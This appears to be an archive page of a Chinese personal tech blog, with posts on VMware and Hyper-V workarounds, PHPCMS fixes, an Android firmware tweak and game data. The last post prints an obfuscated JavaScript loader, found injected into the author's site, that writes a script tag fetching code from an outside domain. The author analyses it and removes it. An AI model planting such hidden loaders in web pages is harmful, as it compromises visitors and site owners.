Day 2821 饭否OAuth 2 API黑箱摸索笔记
饭否的API上次更新已经比网页版还要古老了,传说中的2.0版API只出了一个草稿,后来因为各种原因中止了开发,从此杳无音讯。
OAuth 2.0比1.0减少了繁琐且容易出错(还很难找到原因)的签名过程,但前提是依赖https的加密传输,所以饭否允许在http协议下使用OAuth 2.0的做法其实是不对的,但已经没有人管了,反正证书都过期了。
以下为参考草稿及API Wiki中散落的2.0 API说明文档整理的黑箱笔记。
饭否的API上次更新已经比网页版还要古老了,传说中的2.0版API只出了一个草稿,后来因为各种原因中止了开发,从此杳无音讯。
OAuth 2.0比1.0减少了繁琐且容易出错(还很难找到原因)的签名过程,但前提是依赖https的加密传输,所以饭否允许在http协议下使用OAuth 2.0的做法其实是不对的,但已经没有人管了,反正证书都过期了。
以下为参考草稿及API Wiki中散落的2.0 API说明文档整理的黑箱笔记。
试图在安装了Avast 8.0的计算机上安装VMWare Workstation或独立的VMWare Player时,会遇到以下错误:
Service VMware Authorization Service (VMAuthdService) failed to start.
Verify that you have sufficient privileges to start system services.
解决方法来源于Avast社区:http://forum.avast.com/index.php?topic=126795.0
Avast在某个版本起(应该是最近一个月的更新)引入了辅助硬件虚拟化功能,以增强其沙盒的性能,但这个问题会导致同样需要硬件虚拟化的VMWare服务启动失败,解决方法就是将其临时关掉,安装完毕后即可打开。
关闭方法:打开Avast主界面,点击右上角的「设置」,在「疑难排解」中取消对「启用硬件辅助虚拟」的勾选,然后重新启动计算机。
话说原帖里说next release就会解决了,结果还是没完啊。
VMWare和Hyper-V各有千秋,反正在单位的服务器上Hyper-V表现更好一些,VMWare开一天多之后卡得没法动,大概是所占用的内存被回收掉,需要从页面文件里重新读吧,虽然似乎128GB的内存不该有这个问题。
言归正传,如果先前在系统中安装了VMware Workstation,后来又启用了Hyper-V角色的话,试图卸载VMWare时会遇到This product may not be installed on a computer that has Microsoft HyperV installed(不允许在启用了Microsoft HyperV的计算机上安装Vmware)的错误,这个如果出现在安装的时候还好理解,但是卸载的时候是不是有点搞笑?
搜索之初,到处都是教「先删除HyperV角色,然后卸载VMware,最后重新启用HyperV」的方法,问题是一来VMware已有的虚拟机和HyperV并不冲突,二来服务器重启一次要15分钟简直让人崩溃,最后有个帖子给指了条光明大道:
找到以下文件: C:\ProgramData\VMware\VMware Workstation\Uninstaller\bootstrap.lua 搜索CheckForMSHyperV(),在前面加上「--」将其注释掉,保存,再次卸载VMWare Workstation即可。
一试就灵。
后续:第二天就把Hyper-V删掉了,因为服务器上装的是Westmere架构的E5处理器,微软官方也有解释(http://support.microsoft.com/kb/981791),由于Westmere架构使用了新的虚拟机管控缓存机制(because Intel Westmere processors have a new Virtual Machine Control Structure(VMCS) caching feature),Hyper-V无法正确使用这一功能,会导致STOP 0x0000001a Memory Management停机错误,而微软对此提供的的Hotfix居然在服务器上装不上(提示「此更新不适用于您的计算机」)。
同事发消息来求助,说是一按InDesign的原位粘贴快捷键Alt+Shift+Ctrl+V就冒出一个对话框,长这个样子:
在接下来的排查中发现这个对话框有以下几个特点:
1、在许多程序中按下Ctrl+Alt+Shift+V都会蹦出来,但资源管理器等系统程序里不会;
2、关掉已知会抢占热键的程序(比如QQ等)并不能解决问题。
3、将InDesign这个原位粘贴快捷键更换为其它组合即恢复正常。
网上没有任何答案,一头雾水地到处搜索。考虑到很多程序里都会弹,估计热键被注册成全局了,但究竟哪个程序的Version是1.0.14.161呢?
Google把一堆IP查询网站的结果给了这串长得很像IP地址的数字,一开始以为什么都搜不到了,后来转了一大圈在最后一页找到这么一个俄文网站:
立马回头去问同事让他看任务管理器,果然有这个进程,Kill掉之后原位粘贴恢复正常,再找到百度影音的卸载项卸载,重启,再没发生。
百度你能不那么流氓不?你认为这么长的快捷键谁都按不到吗,还敢注册成全局热键……
我讨厌一些国产软件不是没有原因的。
我还在苦那啥地写网站……
这个网站有不少用自写SQL从外部导入的数据,过程中遇到很多问题,其中一个就是这些自行导入的数据无法统计点击数。经查证得知,PHPCMS v9统计点击数是通过调用名为count的API进行的:
$db = pc_base::load_model('hits_model');
if($_GET['modelid'] && $_GET['id']) {
...
$hitsid = 'c-'.$modelid.'-'.intval($_GET['id']);
$r = get_count($hitsid);
if(!$r) exit;
其中最后一句很关键,意思是如果找不到点击数的记录就直接exit,于是这些可怜的自导入数据就失去了被统计的权利。
解决方法:自己写SQL为没有统计记录的条目们建立记录,可参照如下查询进行写入:
INSERT IGNORE INTO `[$db_prefix]_hits` (`hitsid`) SELECT CONCAT('c-[$modelid]-',`id`) FROM `[$db_prefix]_[$source_model_table]`;
其中的$db_prefix、$modelid、$source_model_table需自行按实际情况进行替换,IGNORE的意思是跳过已有记录。
手机出问题了,重新刷了一遍系统,找ROM的时候看见一个小东西,终于知道原来USB口旁边那个小点不是没用的,而是充电灯,只是MOTO给屏蔽掉了(一说充电异常会亮但没见过),文件据说是Defy上来的,实装后充电时效果图如上(右边亮的是从没用过的MiniHDMI)。
修改方法:将附件中的battd复制到/system/bin,注意备份源文件,并将权限修改为一致的rwxr-xr-x(755)。
推荐修改完毕后:
1、清空/data/battd下的内容(不要直接删除目录);
2、删除/data/system/batterystats.bin;
3、重启手机。
bin文件:battd_from_defy.7z
单位要求一周内写出一个略有规模的网站来,从头写又要防范太多问题是要死人的,于是用PHPCMS v9垫底。
在重写会员注册模板时出现一个问题:手机号(字段名mobile)原则上是可选项,但无论是否POST上去mobile值,都提示【请输入正确的手机号码】。百度没有任何结果(请别吐槽,Google搜索大陆only的东西真的不大行)只好自己想办法,最后在modules\member\index.php的第115行发现问题:
if(isset($model_field_cache['mobile']) && $model_field_cache['mobile']['disabled']==0)
这一行的上方写的是【查看当前模型是否开启了短信验证功能】,一开始被这行字误导,根本没有向下看,后来逐行脑内运行的时候才发觉这里有问题,如果当前模型有mobile字段且没有禁用,那么前台没有提交info[mobile]时,下面的代码就会出问题:
$mobile = $_POST['info']['mobile'];
if(!preg_match('/^1([0-9]{10})/',$mobile)) showmessage(L('input_right_mobile'));
前台就算提交了input name为info[mobile]的值也没有用,不知道是不是我的理解有误([‘info’][‘mobile’]看起来应该不是info[mobile]),不过PC官方论坛上有人用原始版本关闭短信验证也会出现这个问题,所以更像是原版程序的纰漏。
不知道PC v9当时设计时为什么把短信验证是否开启用这两个条件(模型mobile字段是否存在并且没有禁用)作为判断条件?不应该是调取后台【会员模块配置】的【手机强制验证方式】的值嘛?
修改方法:对于不需要短信验证的站点,将判断条件随便改一下(比如…[‘disabled’]改成 != 0)即可。目前时间紧,没有时间研究真正应该使用的条件,先这样。
4月4日更新后,新开了收集彩蛋的活动,持有篮子追击兔子即可获取彩蛋。
该篮子归属剑类别,所以在剑精通未满的人物上会显示剑精通获得经验,但YY上有人发现了新用途:剪羊毛!
而且剪羊毛的动作和打铁一样!SE也是打铁的声音!可怜的羊……
于是去查了一下彩蛋篮和铁匠榔头的属性:
铁匠榔头:
/equip/righthand/tool/blacksmith/blunt/steel/hammer/02/weapon/Blacksmith_Hammer/smith_repairable/not_ego/
彩蛋篮子:
/equip/righthand/weapon/edged/steel/blade/no_scale/not_dropable/destroyable/not_dyeable/not_enchantable/expiring/not_holyfire/onlybaseattack/misc_repairable/
二者重合的属性有equip(装备)、righthand(装备到右手)、steel(铁的),并无其它交集,猜测彩蛋篮子可以采集是出于weapon(武器)属性,而敲打声来自steel(铁的),至于挥舞的动作,如果打铁属于采集大类下的动作,那么也可以用steel解释得通。
前阵子一时兴起,折腾了一个本地化的技能小册子,因为网上基本查不到公开的内容,所以数据靠自己解析,幸好是XML,相对不难。
不过后来写着写着被洛奇数据的诡异弄烦了,决定放弃,顺便把过往经验留一下,做个参考。
老实说我也不知道整理这个有什么用,就当消磨时间吧。 继续阅读 “Day 2615 洛奇skillinfo、skillleveldescription XML浅析”
晚上无聊,点到自家单位的网站,等待加载的时候发现一个没见过的域名【srccom.com】,印象中自己好像没有加过类似的代码,于是开始倒查,发现调用的代码来自这个JS(由于问题已经处理,所以文件已经变成404):
文件内容如下:
function CurrentXmlFrmFocus()
{
var arnElement=[2,9,3,8,2,8,7,5,4,3,10,5];
var arsOffset=[" ",":",".","/","<",">","=","'","SRC","COM","SCRIPT","HTTP"];
var ardPopOpacity=[4,10,0,8,6,7,11,1,3,3,8,9];
var strgAttribute="";ardPopOpacity=ardPopOpacity.concat(arnElement);
for(var i=0;i<ardPopOpacity.length;i++)strgAttribute=strgAttribute+arsOffset[ardPopOpacity[i]];document.writeln(strgAttribute);
}
CurrentXmlFrmFocus();
绕了个弯子,稍微分析一下的话,是向当前页写入以下一行代码:
<script src=”http://srccom.com/src.src” />
于是反向访问过去,冒出一大堆代码:
由于之前也被别人写入过SEO的代码,猜测可能是一样的东西,所以没有细看,选了一个关键字在网上搜了一下,果然是做黑帽SEO的淘宝客(介绍文章在这里)。
删掉对应页面中的调用代码,然后立即回到服务器上看修改时间,发现是去年11月写入的,想起那次所在的主机被人给旁注了,应该不是自己的问题,松口气。